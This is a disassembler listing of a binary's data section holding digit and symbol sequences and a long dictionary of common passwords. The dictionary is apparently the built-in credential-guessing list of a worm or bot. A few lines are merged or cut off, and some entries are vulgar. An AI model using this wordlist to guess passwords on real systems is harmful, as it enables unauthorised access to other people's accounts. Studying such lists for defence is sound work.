a7410		db '7410',0             ; DATA XREF: .nsp0:0042B098o
		align 4
a9999999999	db '9999999999',0       ; DATA XREF: .nsp0:0042B090o
		align 10h
a999999999	db '999999999',0        ; DATA XREF: .nsp0:0042B08Co
		align 4
a99999999	db '99999999',0         ; DATA XREF: .nsp0:0042B088o
		align 4
a9999999	db '9999999',0          ; DATA XREF: .nsp0:0042B084o
a999999		db '999999',0           ; DATA XREF: .nsp0:0042B080o
		align 4
a99999		db '99999',0            ; DATA XREF: .nsp0:0042B07Co
		align 10h
a9999		db '9999',0             ; DATA XREF: .nsp0:0042B078o
		align 4
a999		db '999',0              ; DATA XREF: .nsp0:0042B074o
a99		db '99',0               ; DATA XREF: .nsp0:0042B070o
		align 10h
a9:					; DATA XREF: .nsp0:0042B06Co
		unicode	0, <9>,0
a8888888888	db '8888888888',0       ; DATA XREF: .nsp0:0042B068o
		align 10h
a888888888	db '888888888',0        ; DATA XREF: .nsp0:0042B064o
		align 4
a8888888	db '8888888',0          ; DATA XREF: .nsp0:0042B05Co
a888888		db '888888',0           ; DATA XREF: .nsp0:0042B058o
		align 4
a88888		db '88888',0            ; DATA XREF: .nsp0:0042B054o
		align 4
a8888		db '8888',0             ; DATA XREF: .nsp0:0042B050o
		align 4
a888		db '888',0              ; DATA XREF: .nsp0:0042B04Co
a88		db '88',0               ; DATA XREF: .nsp0:0042B048o
		align 4
a8:					; DATA XREF: .nsp0:0042B044o
		unicode	0, <8>,0
a7777777777	db '7777777777',0       ; DATA XREF: .nsp0:0042B040o
		align 4
a777777777	db '777777777',0        ; DATA XREF: .nsp0:0042B03Co
		align 10h
a77777777	db '77777777',0         ; DATA XREF: .nsp0:0042B038o
		align 4
a7777777	db '7777777',0          ; DATA XREF: .nsp0:0042B034o
a777777		db '777777',0           ; DATA XREF: .nsp0:0042B030o
		align 4
a77777		db '77777',0            ; DATA XREF: .nsp0:0042B02Co
		align 4
a7777		db '7777',0             ; DATA XREF: .nsp0:0042B028o
		align 4
a777		db '777',0              ; DATA XREF: .nsp0:0042B024o
a77		db '77',0               ; DATA XREF: .nsp0:0042B020o
		align 4
a7:					; DATA XREF: .nsp0:0042B01Co
		unicode	0, <7>,0
a6666666666	db '6666666666',0       ; DATA XREF: .nsp0:0042B018o
		align 4
a666666666	db '666666666',0        ; DATA XREF: .nsp0:0042B014o
		align 10h
a66666666	db '66666666',0         ; DATA XREF: .nsp0:0042B010o
		align 4
a6666666	db '6666666',0          ; DATA XREF: .nsp0:0042B00Co
a666666		db '666666',0           ; DATA XREF: .nsp0:0042B008o
		align 4
a66666		db '66666',0            ; DATA XREF: .nsp0:0042B004o
		align 4
a6666		db '6666',0             ; DATA XREF: .nsp0:0042B000o
		align 4
a666		db '666',0              ; DATA XREF: .nsp0:0042AFFCo
a66		db '66',0               ; DATA XREF: .nsp0:0042AFF8o
		align 4
a6:					; DATA XREF: .nsp0:0042AFF4o
		unicode	0, <6>,0
a5555555555	db '5555555555',0       ; DATA XREF: .nsp0:0042AFF0o
		align 4
a555555555	db '555555555',0        ; DATA XREF: .nsp0:0042AFECo
		align 10h
a55555555	db '55555555',0         ; DATA XREF: .nsp0:0042AFE8o
		align 4
a5555555	db '5555555',0          ; DATA XREF: .nsp0:0042AFE4o
a555555		db '555555',0           ; DATA XREF: .nsp0:0042AFE0o
		align 4
a55555		db '55555',0            ; DATA XREF: .nsp0:0042AFDCo
		align 4
a5555		db '5555',0             ; DATA XREF: .nsp0:0042AFD8o
		align 4
a555		db '555',0              ; DATA XREF: .nsp0:0042AFD4o
a55		db '55',0               ; DATA XREF: .nsp0:0042AFD0o
		align 4
a5:					; DATA XREF: .nsp0:0042AFCCo
		unicode	0, <5>,0
a4444444444	db '4444444444',0       ; DATA XREF: .nsp0:0042AFC8o
		align 4
a444444444	db '444444444',0        ; DATA XREF: .nsp0:0042AFC4o
		align 10h
a44444444	db '44444444',0         ; DATA XREF: .nsp0:0042AFC0o
		align 4
a4444444	db '4444444',0          ; DATA XREF: .nsp0:0042AFBCo
a444444		db '444444',0           ; DATA XREF: .nsp0:0042AFB8o
		align 4
a44444		db '44444',0            ; DATA XREF: .nsp0:0042AFB4o
		align 4
a4444		db '4444',0             ; DATA XREF: .nsp0:0042AFB0o
		align 4
a444		db '444',0              ; DATA XREF: .nsp0:0042AFACo
a44		db '44',0               ; DATA XREF: .nsp0:0042AFA8o
		align 4
a4:					; DATA XREF: .nsp0:0042AFA4o
		unicode	0, <4>,0
a3333333333	db '3333333333',0       ; DATA XREF: .nsp0:0042AFA0o
		align 4
a333333333	db '333333333',0        ; DATA XREF: .nsp0:0042AF9Co
		align 10h
a33333333	db '33333333',0         ; DATA XREF: .nsp0:0042AF98o
		align 4
a3333333	db '3333333',0          ; DATA XREF: .nsp0:0042AF94o
a333333		db '333333',0           ; DATA XREF: .nsp0:0042AF90o
		align 4
a33333		db '33333',0            ; DATA XREF: .nsp0:0042AF8Co
		align 4
a3333		db '3333',0             ; DATA XREF: .nsp0:0042AF88o
		align 4
a333		db '333',0              ; DATA XREF: .nsp0:0042AF84o
a33		db '33',0               ; DATA XREF: .nsp0:0042AF80o
		align 4
a3:					; DATA XREF: .nsp0:0042AF7Co
		unicode	0, <3>,0
a2222222222	db '2222222222',0       ; DATA XREF: .nsp0:0042AF78o
		align 4
a222222222	db '222222222',0        ; DATA XREF: .nsp0:0042AF74o
		align 10h
a22222222	db '22222222',0         ; DATA XREF: .nsp0:0042AF70o
		align 4
a2222222	db '2222222',0          ; DATA XREF: .nsp0:0042AF6Co
a222222		db '222222',0           ; DATA XREF: .nsp0:0042AF68o
		align 4
a22222		db '22222',0            ; DATA XREF: .nsp0:0042AF64o
		align 4
a2222		db '2222',0             ; DATA XREF: .nsp0:0042AF60o
		align 4
a222		db '222',0              ; DATA XREF: .nsp0:0042AF5Co
a22		db '22',0               ; DATA XREF: .nsp0:0042AF58o
		align 4
a2:					; DATA XREF: .nsp0:0042AF54o
		unicode	0, <2>,0
a1111111111	db '1111111111',0       ; DATA XREF: .nsp0:0042AF50o
		align 4
a111111111	db '111111111',0        ; DATA XREF: .nsp0:0042AF4Co
		align 10h
a1111111	db '1111111',0          ; DATA XREF: .nsp0:0042AF44o
a11111		db '11111',0            ; DATA XREF: .nsp0:0042AF3Co
		align 10h
a1111		db '1111',0             ; DATA XREF: .nsp0:0042AF38o
		align 4
a11		db '11',0               ; DATA XREF: .nsp0:0042AF30o
		align 4
a010		db '010',0              ; DATA XREF: .nsp0:0042AF20o
a009		db '009',0              ; DATA XREF: .nsp0:0042AF1Co
a008		db '008',0              ; DATA XREF: .nsp0:0042AF18o
a006		db '006',0              ; DATA XREF: .nsp0:0042AF10o
a005		db '005',0              ; DATA XREF: .nsp0:00401D8Ao
					; .nsp0:0042AF0Co
a004		db '004',0              ; DATA XREF: .nsp0:0042AF08o
a003		db '003',0              ; DATA XREF: .nsp0:0042AF04o
a002		db '002',0              ; DATA XREF: .nsp0:0042AF00o
a001		db '001',0              ; DATA XREF: .nsp0:00401D75o
					; .nsp0:0042AEFCo
asc_42C1B0	db '*********',0        ; DATA XREF: .nsp0:0042AEF8o
		align 4
asc_42C1BC	db '********',0         ; DATA XREF: .nsp0:0042AEF4o
		align 4
asc_42C1C8	db '*******',0          ; DATA XREF: .nsp0:0042AEF0o
asc_42C1D0	db '******',0           ; DATA XREF: .nsp0:0042AEECo
		align 4
asc_42C1D8	db '*****',0            ; DATA XREF: .nsp0:0042AEE8o
		align 10h
asc_42C1E0	db '****',0             ; DATA XREF: .nsp0:0042AEE4o
		align 4
asc_42C1E8	db '***',0              ; DATA XREF: .nsp0:0042AEE0o
asc_42C1EC	db '**',0               ; DATA XREF: .nsp0:0042AEDCo
		align 10h
asc_42C1F0:				; DATA XREF: .nsp0:0040FFC5o
					; .nsp0:0042AED8o
		unicode	0, <*>,0
a0000000000	db '0000000000',0       ; DATA XREF: .nsp0:0042AED4o
		align 10h
a000000000	db '000000000',0
		align 4
a@		db '@!',0
		align 10h
a@_0		db '#@!',0
a@_1		db '$#@!',0
		align 4
a@_2		db '%$#@!',0
		align 4
a@_3		db '^%$#@!',0
		align 4
a@_4		db '&^%$#@!',0
a@_5		db '*&^%$#@!',0
		align 10h
		db '$$$',0
		db '$$',0
		align 4
		unicode	0, <$>,0
a456_0		db '456+',0
		align 4
a789_0		db '789+',0
		align 4
a0		db '=-0',0
		db '--++',0
		align 4
		db '-+',0
		align 4
		db '----',0
		align 4
		db '--',0
		align 4
		unicode	0, <->,0
		db '++++',0
		align 4
		db '+++',0
		db '++',0
		align 4
		unicode	0, <+>,0
a@@		db '@@',0               ; DATA XREF: .nsp0:0042AE54o
		align 4
a@_6:					; DATA XREF: .nsp0:00401DAFo
		unicode	0, <@>,0
		dd offset loc_40211F+2
		dd 2121h
dword_42C2A0	dd 23h,	24234021h, 2A265E25h, 0					; sub_40C98B+1Bo
		dd 24234021h, 265E25h, 24234021h, 5E25h, 24234021h, 25h
		dd 234021h, 4021h
dword_42C2D0	dd 21h,	25h, 6D6D697Ah,	616D7265h, 6Eh					; .nsp0:004097DEo
dword_42C2E4	dd 70617Ah	aYellowstone	db 'yellowstone',0      ; DATA XREF: .nsp0:0042AE18o
aXyz		db 'xyz',0              ; DATA XREF: .nsp0:0042AE14o
aWisconsin	db 'wisconsin',0
		align 4
aWilliamsburg	db 'williamsburg',0
		align 4
aWholesale	db 'wholesale',0
		align 10h
aTty		db 'tty',0
aTopography	db 'topography',0
		align 10h
aTemptation	db 'temptation',0
		align 4
aTelephone	db 'telephone',0
		align 4
aTangerine	db 'tangerine',0
		align 4
aSys		db 'sys',0
aSupported	db 'supported',0
		align 4
aSuperuser	db 'superuser',0
		align 10h
aSuperstage	db 'superstage',0
		align 4
aSun		db 'sun',0
aStuttgart	db 'stuttgart',0
		align 4
aStratford	db 'stratford',0
		align 4
aStephanie	db 'stephanie',0
		align 4
aSignature	db 'signature',0
		align 10h
aSheffield	db 'sheffield',0
		align 4
aSal		db 'sal',0
aRochester	db 'rochester',0
		align 4
aRje		db 'rje',0
aRachmaninoff	db 'rachmaninoff',0
		align 10h
aPub		db 'pub',0
aProfessor	db 'professor',0
		align 10h
aPrinceton	db 'princeton',0
		align 4
aPondering	db 'pondering',0
		align 4
aPolynomial	db 'polynomial',0
		align 4
aPersimmon	db 'persimmon',0
		align 10h
aPercolate	db 'percolate',0
		align 4
aPam		db 'pam',0
aPad		db 'pad',0
aOceanography	db 'oceanography',0
		align 4
aNutrition	db 'nutrition',0
		align 10h
aNew		db 'new',0
aNet		db 'net',0              ; DATA XREF: .nsp0:00405F5Ao
aMit		db 'mit',0
aMgr		db 'mgr',0
aMacintosh	db 'macintosh',0
		align 4
aLiz		db 'liz',0
aLee		db 'lee',0
aLamination	db 'lamination',0
		align 10h
aKim		db 'kim',0
aKey		db 'key',0              ; DATA XREF: .nsp0:00403347o
aJoy		db 'joy',0
aJen		db 'jen',0
aInnocuous	db 'innocuous',0
		align 4
aImbroglio	db 'imbroglio',0
		align 4
aIbm		db 'ibm',0
aHappening	db 'happening',0
		align 4
aHal		db 'hal',0
aGnu		db 'gnu',0
aFun		db 'fun',0
aForesight	db 'foresight',0
		align 10h
aFoolproof	db 'foolproof',0
		align 4
aExtension	db 'extension',0        ; DATA XREF: .nsp0:0042AD38o
		align 4
aEstablish	db 'establish',0        ; DATA XREF: .nsp0:0042AD34o
		align 4
aEnterprise	db 'enterprise',0       ; DATA XREF: .nsp0:0042AD30o
		align 10h
aElizabeth	db 'elizabeth',0        ; DATA XREF: .nsp0:0042AD2Co
		align 4
aEiderdown	db 'eiderdown',0        ; DATA XREF: .nsp0:0042AD28o
		align 4
aEdinburgh	db 'edinburgh',0        ; DATA XREF: .nsp0:0042AD24o
		align 4
aDos		db 'dos',0              ; DATA XREF: .nsp0:0042AD20o
aDog		db 'dog',0              ; DATA XREF: .nsp0:0042AD1Co
aDiscovery	db 'discovery',0        ; DATA XREF: .nsp0:0042AD18o
		align 4
aDesperate	db 'desperate',0        ; DATA XREF: .nsp0:0042AD14o
		align 4
aDeb		db 'deb',0              ; DATA XREF: .nsp0:0042AD10o
aCornelius	db 'cornelius',0        ; DATA XREF: .nsp0:0042AD0Co
		align 4
aCommrades	db 'commrades',0        ; DATA XREF: .nsp0:0042AD08o
		align 10h
aChristine	db 'christine',0        ; DATA XREF: .nsp0:0042AD04o
		align 4
aChristina	db 'christina',0        ; DATA XREF: .nsp0:0042AD00o
		align 4
aChemistry	db 'chemistry',0        ; DATA XREF: .nsp0:0042ACFCo
		align 4
aCatherine	db 'catherine',0        ; DATA XREF: .nsp0:0042ACF8o
		align 10h
aCat		db 'cat',0              ; DATA XREF: .nsp0:0042ACF4o
aCampanile	db 'campanile',0        ; DATA XREF: .nsp0:0042ACF0o
		align 10h
aCad		db 'cad',0              ; DATA XREF: .nsp0:0042ACECo
aBsd		db 'bsd',0              ; DATA XREF: .nsp0:0042ACE8o
aBob		db 'bob',0              ; DATA XREF: .nsp0:0042ACE4o
aBicameral	db 'bicameral',0        ; DATA XREF: .nsp0:0042ACE0o
		align 4
aBeethoven	db 'beethoven',0        ; DATA XREF: .nsp0:0042ACDCo
		align 4
aAtmosphere	db 'atmosphere',0       ; DATA XREF: .nsp0:0042ACD8o
		align 10h
aAsm		db 'asm',0              ; DATA XREF: .nsp0:0042ACD4o
aAsd		db 'asd',0              ; DATA XREF: .nsp0:0042ACD0o
					; .nsp0:0042B33Co
aAnthropogenic	db 'anthropogenic',0    ; DATA XREF: .nsp0:0042ACCCo
		align 4
aAnn		db 'ann',0              ; DATA XREF: .nsp0:0042ACC8o
aAndromache	db 'andromache',0       ; DATA XREF: .nsp0:0042ACC4o
		align 4
aAmy		db 'amy',0              ; DATA XREF: .nsp0:0042ACC0o
aAmorphous	db 'amorphous',0        ; DATA XREF: .nsp0:0042ACBCo
		align 4
aAma		db 'ama',0              ; DATA XREF: .nsp0:0042ACB8o
aAlf		db 'alf',0              ; DATA XREF: .nsp0:0042ACB4o
aAlbatross	db 'albatross',0        ; DATA XREF: .nsp0:0042ACB0o
		align 4
aAda		db 'ada',0              ; DATA XREF: .nsp0:0042ACACo
aH4x0ring	db 'h4x0ring',0         ; DATA XREF: .nsp0:0042ACA8o
		align 4
aH4x0r1ng	db 'h4x0r1ng',0         ; DATA XREF: .nsp0:0042ACA4o
		align 4
aH4x1ng		db 'h4x1ng',0           ; DATA XREF: .nsp0:0042ACA0o
		align 10h
aHaxing		db 'haxing',0           ; DATA XREF: .nsp0:0042AC9Co
		align 4
aHax		db 'hax',0              ; DATA XREF: .nsp0:0042AC98o
aWh0re		db 'wh0re',0            ; DATA XREF: .nsp0:0042AC94o
		align 4
aHo		db 'ho',0               ; DATA XREF: .nsp0:0042AC90o
		align 4
aWh0r3		db 'wh0r3',0            ; DATA XREF: .nsp0:0042AC8Co
		align 10h
aWindoze95	db 'windoze95',0        ; DATA XREF: .nsp0:0042AC88o
		align 4
aWindoze98	db 'windoze98',0        ; DATA XREF: .nsp0:0042AC84o
		align 4
aWindozeme	db 'windozeME',0        ; DATA XREF: .nsp0:0042AC80o
		align 4
aWindoze2k	db 'windoze2k',0        ; DATA XREF: .nsp0:0042AC7Co
		align 10h
aWindozexp	db 'windozexp',0        ; DATA XREF: .nsp0:0042AC78o
		align 4
aWindows95	db 'windows95',0        ; DATA XREF: .nsp0:0042AC74o
		align 4
aWindows98	db 'windows98',0        ; DATA XREF: .nsp0:0042AC70o
		align 4
aWindowsme	db 'windowsME',0        ; DATA XREF: .nsp0:0042AC6Co
		align 10h
aWindows2k	db 'windows2k',0        ; DATA XREF: .nsp0:0042AC68o
		align 4
aWindowsxp	db 'WindowsXP',0        ; DATA XREF: .nsp0:0042AC64o
		align 4
aMs		db 'MS',0               ; DATA XREF: .nsp0:0042AC60o
		align 4
aM_2		db 'M$',0               ; DATA XREF: .nsp0:0042AC5Co
		align 10h
aBilly		db 'billy',0            ; DATA XREF: .nsp0:0042AC58o
		align 4
aWindose	db 'windose',0          ; DATA XREF: .nsp0:0042AC54o
aWindoze	db 'windoze',0          ; DATA XREF: .nsp0:0042AC50o
aWindowz	db 'windowz',0          ; DATA XREF: .nsp0:0042AC4Co
aWileecoyote	db 'wileecoyote',0      ; DATA XREF: .nsp0:0042AC48o
aDonaldduck	db 'donaldduck',0       ; DATA XREF: .nsp0:0042AC44o
		align 4
aAlexander	db 'Alexander',0        ; DATA XREF: .nsp0:0042AC40o
		align 4
aAl3x		db 'Al3x',0             ; DATA XREF: .nsp0:0042AC3Co
		align 4
aDud3		db 'dud3',0             ; DATA XREF: .nsp0:0042AC38o
		align 4
aDudette	db 'dudette',0          ; DATA XREF: .nsp0:0042AC34o
aD00d		db 'd00d',0             ; DATA XREF: .nsp0:0042AC30o
		align 4
aLol		db 'lol',0              ; DATA XREF: .nsp0:0042AC2Co
aRoscopcoltrane	db 'RoscoPColtrane',0   ; DATA XREF: .nsp0:0042AC28o
		align 4
aRoscop		db 'RoscoP',0           ; DATA XREF: .nsp0:0042AC24o
		align 10h
aRosco		db 'Rosco',0            ; DATA XREF: .nsp0:0042AC20o
		align 4
aRoss		db 'Ross',0             ; DATA XREF: .nsp0:0042AC1Co
		align 10h
aTestin		db 'testin',0           ; DATA XREF: .nsp0:0042AC18o
		align 4
aTester		db 'tester',0           ; DATA XREF: .nsp0:0042AC14o
		align 10h
a00000000	db '00000000',0         ; DATA XREF: .nsp0:0042AC10o
		align 4
aZulu		db 'zulu',0             ; DATA XREF: .nsp0:0042AC0Co
		align 4
aZombie		db 'zombie',0           ; DATA XREF: .nsp0:0042AC08o
		align 4
aZmodem		db 'zmodem',0           ; DATA XREF: .nsp0:0042AC04o
		align 4
aZimmerma	db 'zimmerma',0         ; DATA XREF: .nsp0:0042AC00o
		align 10h
aZiggy		db 'ziggy',0            ; DATA XREF: .nsp0:0042ABFCo
		align 4
aZeitgeis	db 'zeitgeis',0         ; DATA XREF: .nsp0:0042ABF8o
		align 4
aZebra		db 'zebra',0            ; DATA XREF: .nsp0:0042ABF4o
		align 4
aYoung		db 'young',0            ; DATA XREF: .nsp0:0042ABF0o
		align 4
aYosemite	db 'yosemite',0         ; DATA XREF: .nsp0:0042ABECo
		align 10h
aYolanda	db 'yolanda',0          ; DATA XREF: .nsp0:0042ABE8o
aYellowst	db 'yellowst',0         ; DATA XREF: .nsp0:0042ABE4o
		align 4
aYellow		db 'yellow',0           ; DATA XREF: .nsp0:0042ABE0o
		align 4
aYankee		db 'yankee',0           ; DATA XREF: .nsp0:0042ABDCo
		align 4
aYang		db 'yang',0             ; DATA XREF: .nsp0:0042ABD8o
					; .nsp0:0042B314o
		align 4
aYaco		db 'yaco',0             ; DATA XREF: .nsp0:0042ABD4o
					; .nsp0:0042B310o
		align 4
aXyzzy		db 'xyzzy',0            ; DATA XREF: .nsp0:0042ABD0o
		align 4
aXray		db 'xray',0             ; DATA XREF: .nsp0:0042ABCCo
		align 4
aXmodem		db 'xmodem',0           ; DATA XREF: .nsp0:0042ABC8o
		align 4
aXmen		db 'xmen',0             ; DATA XREF: .nsp0:0042ABC4o
		align 4
aXman		db 'xman',0             ; DATA XREF: .nsp0:0042ABC0o
		align 4
aXfer		db 'xfer',0             ; DATA XREF: .nsp0:0042ABBCo
		align 4
aXena		db 'xena',0             ; DATA XREF: .nsp0:0042ABB8o
		align 4
aWyoming	db 'wyoming',0          ; DATA XREF: .nsp0:0042ABB4o
aWwii		db 'wwii',0             ; DATA XREF: .nsp0:0042ABB0o
		align 4
aWormwood	db 'wormwood',0         ; DATA XREF: .nsp0:0042ABACo
		align 4
aWorm		db 'worm',0             ; DATA XREF: .nsp0:0042ABA8o
		align 10h
aWork		db 'work',0             ; DATA XREF: .nsp0:0042ABA4o
		align 4
aWorf		db 'worf',0             ; DATA XREF: .nsp0:0042ABA0o
		align 10h
aWordperf	db 'wordperf',0         ; DATA XREF: .nsp0:0042AB9Co
		align 4
aWord		db 'word',0             ; DATA XREF: .nsp0:0042AB98o
		align 4
aWoodwind	db 'woodwind',0         ; DATA XREF: .nsp0:0042AB94o
		align 10h
aWood		db 'wood',0             ; DATA XREF: .nsp0:0042AB90o
		align 4
aWomen		db 'women',0            ; DATA XREF: .nsp0:0042AB8Co
		align 10h
aWombat		db 'wombat',0           ; DATA XREF: .nsp0:0042AB88o
		align 4
aWoman		db 'woman',0            ; DATA XREF: .nsp0:0042AB84o
		align 10h
aWolverin	db 'wolverin',0         ; DATA XREF: .nsp0:0042AB80o
		align 4
aWolf		db 'wolf',0             ; DATA XREF: .nsp0:0042AB7Co
		align 4
aWizard		db 'wizard',0           ; DATA XREF: .nsp0:0042AB78o
		align 4
aWithin		db 'within',0           ; DATA XREF: .nsp0:0042AB74o
		align 4
aWiseass	db 'wiseass',0          ; DATA XREF: .nsp0:0042AB70o
aWisconsi	db 'wisconsi',0         ; DATA XREF: .nsp0:0042AB6Co
		align 4
aWired		db 'wired',0            ; DATA XREF: .nsp0:0042AB68o
		align 10h
aWinston	db 'winston',0          ; DATA XREF: .nsp0:0042AB64o
aWing		db 'wing',0             ; DATA XREF: .nsp0:0042AB60o
		align 10h
aWine		db 'wine',0             ; DATA XREF: .nsp0:0042AB5Co
		align 4
aWindows	db 'windows',0          ; DATA XREF: .nsp0:0042AB58o
aWilma		db 'wilma',0            ; DATA XREF: .nsp0:0042AB54o
		align 4
aWillie		db 'willie',0           ; DATA XREF: .nsp0:0042AB50o
		align 10h
aWilliams	db 'williams',0         ; DATA XREF: .nsp0:0042AB4Co
		align 4
aWilliam	db 'william',0          ; DATA XREF: .nsp0:0042AB48o
aWill		db 'will',0             ; DATA XREF: .nsp0:0042AB44o
		align 4
aWhore		db 'whore',0            ; DATA XREF: .nsp0:0042AB40o
		align 4
aWholesal	db 'wholesal',0         ; DATA XREF: .nsp0:0042AB3Co
		align 10h
aWhitney	db 'whitney',0          ; DATA XREF: .nsp0:0042AB38o
aWhiting	db 'whiting',0          ; DATA XREF: .nsp0:0042AB34o
aWhite		db 'white',0            ; DATA XREF: .nsp0:0042AB30o
		align 4
aWhisky		db 'whisky',0           ; DATA XREF: .nsp0:0042AB2Co
		align 10h
aWhatnot	db 'whatnot',0          ; DATA XREF: .nsp0:0042AB28o
aWhatever	db 'whatever',0         ; DATA XREF: .nsp0:0042AB24o
		align 4
aWestern	db 'western',0          ; DATA XREF: .nsp0:0042AB20o
aWest		db 'west',0             ; DATA XREF: .nsp0:0042AB1Co
		align 4
aWerewolf	db 'werewolf',0         ; DATA XREF: .nsp0:0042AB18o
		align 10h
aWendy		db 'wendy',0            ; DATA XREF: .nsp0:0042AB14o
		align 4
aWendi		db 'wendi',0            ; DATA XREF: .nsp0:0042AB10o
		align 10h
aWell		db 'well',0             ; DATA XREF: .nsp0:0042AB0Co
		align 4
aWeenie		db 'weenie',0           ; DATA XREF: .nsp0:0042AB08o
		align 10h
aWeed		db 'weed',0             ; DATA XREF: .nsp0:0042AB04o
		align 4
aWednesda	db 'wednesda',0         ; DATA XREF: .nsp0:0042AB00o
		align 4
aWebpage	db 'webpage',0          ; DATA XREF: .nsp0:0042AAFCo
aWave		db 'wave',0             ; DATA XREF: .nsp0:0042AAF8o
		align 4
aWater		db 'water',0            ; DATA XREF: .nsp0:0042AAF4o
		align 4
aWatchwor	db 'watchwor',0         ; DATA XREF: .nsp0:0042AAF0o
		align 4
aWasp		db 'wasp',0             ; DATA XREF: .nsp0:0042AAECo
		align 10h
aWarren		db 'warren',0
		align 4
aWarp		db 'warp',0
		align 10h
aWargames	db 'wargames',0
		align 4
aWarfare	db 'warfare',0
aWarez		db 'warez',0
		align 4
aWard		db 'ward',0
		align 4
aWaco		db 'waco',0
		align 4
aVodka		db 'vodka',0
		align 4
aVisualba	db 'visualba',0
		align 10h
aVisual		db 'visual',0
		align 4
aVisitor	db 'visitor',0
aVirus		db 'virus',0
		align 4
aVirginia	db 'virginia',0
		align 4
aVirgin		db 'virgin',0
		align 4
aVillage	db 'village',0
aVideogam	db 'videogam',0
		align 10h
aVideo		db 'video',0            ; DATA XREF: .nsp0:loc_408EC3o
		align 4
aVictor		db 'victor',0
		align 10h
aVicky		db 'vicky',0
		align 4
aVertigo	db 'vertigo',0
aVeronica	db 'veronica',0
		align 4
aVenus		db 'venus',0            ; DATA XREF: .nsp0:0042AA94o
		align 4
aVasant		db 'vasant',0
		align 4
aVampire	db 'vampire',0
aValerie	db 'valerie',0          ; DATA XREF: .nsp0:0042AA88o
aVagina		db 'vagina',0           ; DATA XREF: .nsp0:0042AA84o
		align 4
aUucp		db 'uucp',0             ; DATA XREF: .nsp0:0042AA80o
		align 4
aUtility	db 'utility',0
aUtil		db 'util',0
		align 4
aUsmc		db 'usmc',0
		align 4
aUsername	db 'username',0
		align 10h
aUsermane	db 'usermane',0
		align 4
aUsenet		db 'usenet',0
		align 4
aUrsula		db 'ursula',0
		align 4
aUrchin		db 'urchin',0
		align 4
aUranus		db 'uranus',0
		align 4
aUpload		db 'upload',0           ; DATA XREF: .nsp0:00407281o
		align 4
aUnlock		db 'unlock',0
		align 4
aUnknown_0	db 'unknown',0
aUniversi	db 'universi',0
		align 10h
aUniverse	db 'universe',0
		align 4
aUniversa	db 'universa',0
		align 4
aUniform	db 'uniform',0
aUnicorn	db 'unicorn',0
aUnhappy	db 'unhappy',0
aUndo		db 'undo',0
		align 4
aUncle		db 'uncle',0
		align 10h
aUmesh		db 'umesh',0
		align 4
aUgly		db 'ugly',0
		align 10h
aTuttle		db 'tuttle',0
		align 4
aTurn		db 'turn',0
		align 10h
aTuesday	db 'tuesday',0
aTubas		db 'tubas',0
		align 10h
aTruth		db 'truth',0
		align 4
aTrue		db 'true',0
		align 10h
aTron		db 'tron',0
		align 4
aTrombone	db 'trombone',0
		align 4
aTrojan		db 'trojan',0
		align 4
aTrivial	db 'trivial',0
aTrisha		db 'trisha',0
		align 4
aTrek		db 'trek',0
		align 4
aTree		db 'tree',0
		align 4
aTrapdoor	db 'trapdoor',0
		align 4
aTrap		db 'trap',0
		align 10h
aTransfer	db 'transfer',0
		align 4
aTrails		db 'trails',0
		align 4
aTracy		db 'tracy',0
		align 4
aTracie		db 'tracie',0
		align 4
aTraci		db 'traci',0
		align 4
aToyota_0	db 'toyota',0
		align 4
aToxic		db 'toxic',0
		align 4
aTortoise	db 'tortoise',0
		align 4
aTopograp	db 'topograp',0
		align 4
aTomato		db 'tomato',0
		align 4
aTokenrin	db 'tokenrin',0
		align 4
aToken		db 'token',0
		align 10h
aToggle		db 'toggle',0
		align 4
aToad		db 'toad',0
		align 10h
aTits		db 'tits',0
		align 4
aTina		db 'tina',0
		align 10h
aTime		db 'time',0
		align 4
aTiger		db 'tiger',0
		align 10h
aTiffany	db 'tiffany',0
aThursday	db 'thursday',0
		align 4
aThin		db 'thin',0
		align 4
aTheresa	db 'theresa',0
aThailand	db 'thailand',0
		align 10h
aText		db 'text',0
		align 4
aTetris		db 'tetris',0           ; DATA XREF: .nsp0:0042A988o
		align 10h
aTess		db 'tess',0             ; DATA XREF: .nsp0:0042A984o
		align 4
aTerminat	db 'terminat',0         ; DATA XREF: .nsp0:0042A980o
		align 4
aTerminal	db 'terminal',0         ; DATA XREF: .nsp0:0042A97Co
		align 10h
aTera		db 'tera',0             ; DATA XREF: .nsp0:0042A978o
		align 4
aTennis		db 'tennis',0           ; DATA XREF: .nsp0:0042A974o
		align 10h
aTemptati	db 'temptati',0         ; DATA XREF: .nsp0:0042A970o
		align 4
aTelnet		db 'telnet',0           ; DATA XREF: .nsp0:0042A96Co
		align 4
aTelephon	db 'telephon',0         ; DATA XREF: .nsp0:0042A968o
		align 10h
aTeenage	db 'teenage',0          ; DATA XREF: .nsp0:0042A964o
aTeen		db 'teen',0             ; DATA XREF: .nsp0:0042A960o
		align 10h
aTech		db 'tech',0             ; DATA XREF: .nsp0:0042A95Co
		align 4
aTears		db 'tears',0            ; DATA XREF: .nsp0:0042A958o
		align 10h
aTeapot		db 'teapot',0           ; DATA XREF: .nsp0:0042A954o
		align 4
aTeam		db 'team',0             ; DATA XREF: .nsp0:0042A950o
		align 10h
aTaylor		db 'taylor',0           ; DATA XREF: .nsp0:0042A948o
		align 4
aTarragon	db 'tarragon',0         ; DATA XREF: .nsp0:0042A944o
		align 4
aTarget		db 'target',0           ; DATA XREF: .nsp0:0042A940o
		align 4
aTara		db 'tara',0             ; DATA XREF: .nsp0:0042A93Co
		align 4
aTape		db 'tape',0             ; DATA XREF: .nsp0:0042A938o
		align 4
aTango		db 'tango',0            ; DATA XREF: .nsp0:0042A934o
		align 4
aTangerin	db 'tangerin',0         ; DATA XREF: .nsp0:0042A930o
		align 10h
aTammy		db 'tammy',0            ; DATA XREF: .nsp0:0042A92Co
		align 4
aTamie		db 'tamie',0            ; DATA XREF: .nsp0:0042A928o
		align 10h
aTami		db 'tami',0             ; DATA XREF: .nsp0:0042A924o
		align 4
aTamara		db 'tamara',0           ; DATA XREF: .nsp0:0042A920o
		align 10h
aTall		db 'tall',0             ; DATA XREF: .nsp0:0042A91Co
		align 4
aTalk		db 'talk',0             ; DATA XREF: .nsp0:0042A918o
		align 10h
aTabasco	db 'tabasco',0          ; DATA XREF: .nsp0:0042A914o
aSysop		db 'sysop',0            ; DATA XREF: .nsp0:0042A910o
		align 10h
aSysadmin	db 'sysadmin',0         ; DATA XREF: .nsp0:0042A90Co
		align 4
aSymmetry	db 'symmetry',0         ; DATA XREF: .nsp0:0042A908o
		align 4
aSybil		db 'sybil',0            ; DATA XREF: .nsp0:0042A904o
		align 10h
aSword		db 'sword',0            ; DATA XREF: .nsp0:0042A900o
		align 4
aSwitch		db 'switch',0           ; DATA XREF: .nsp0:0042A8FCo
		align 10h
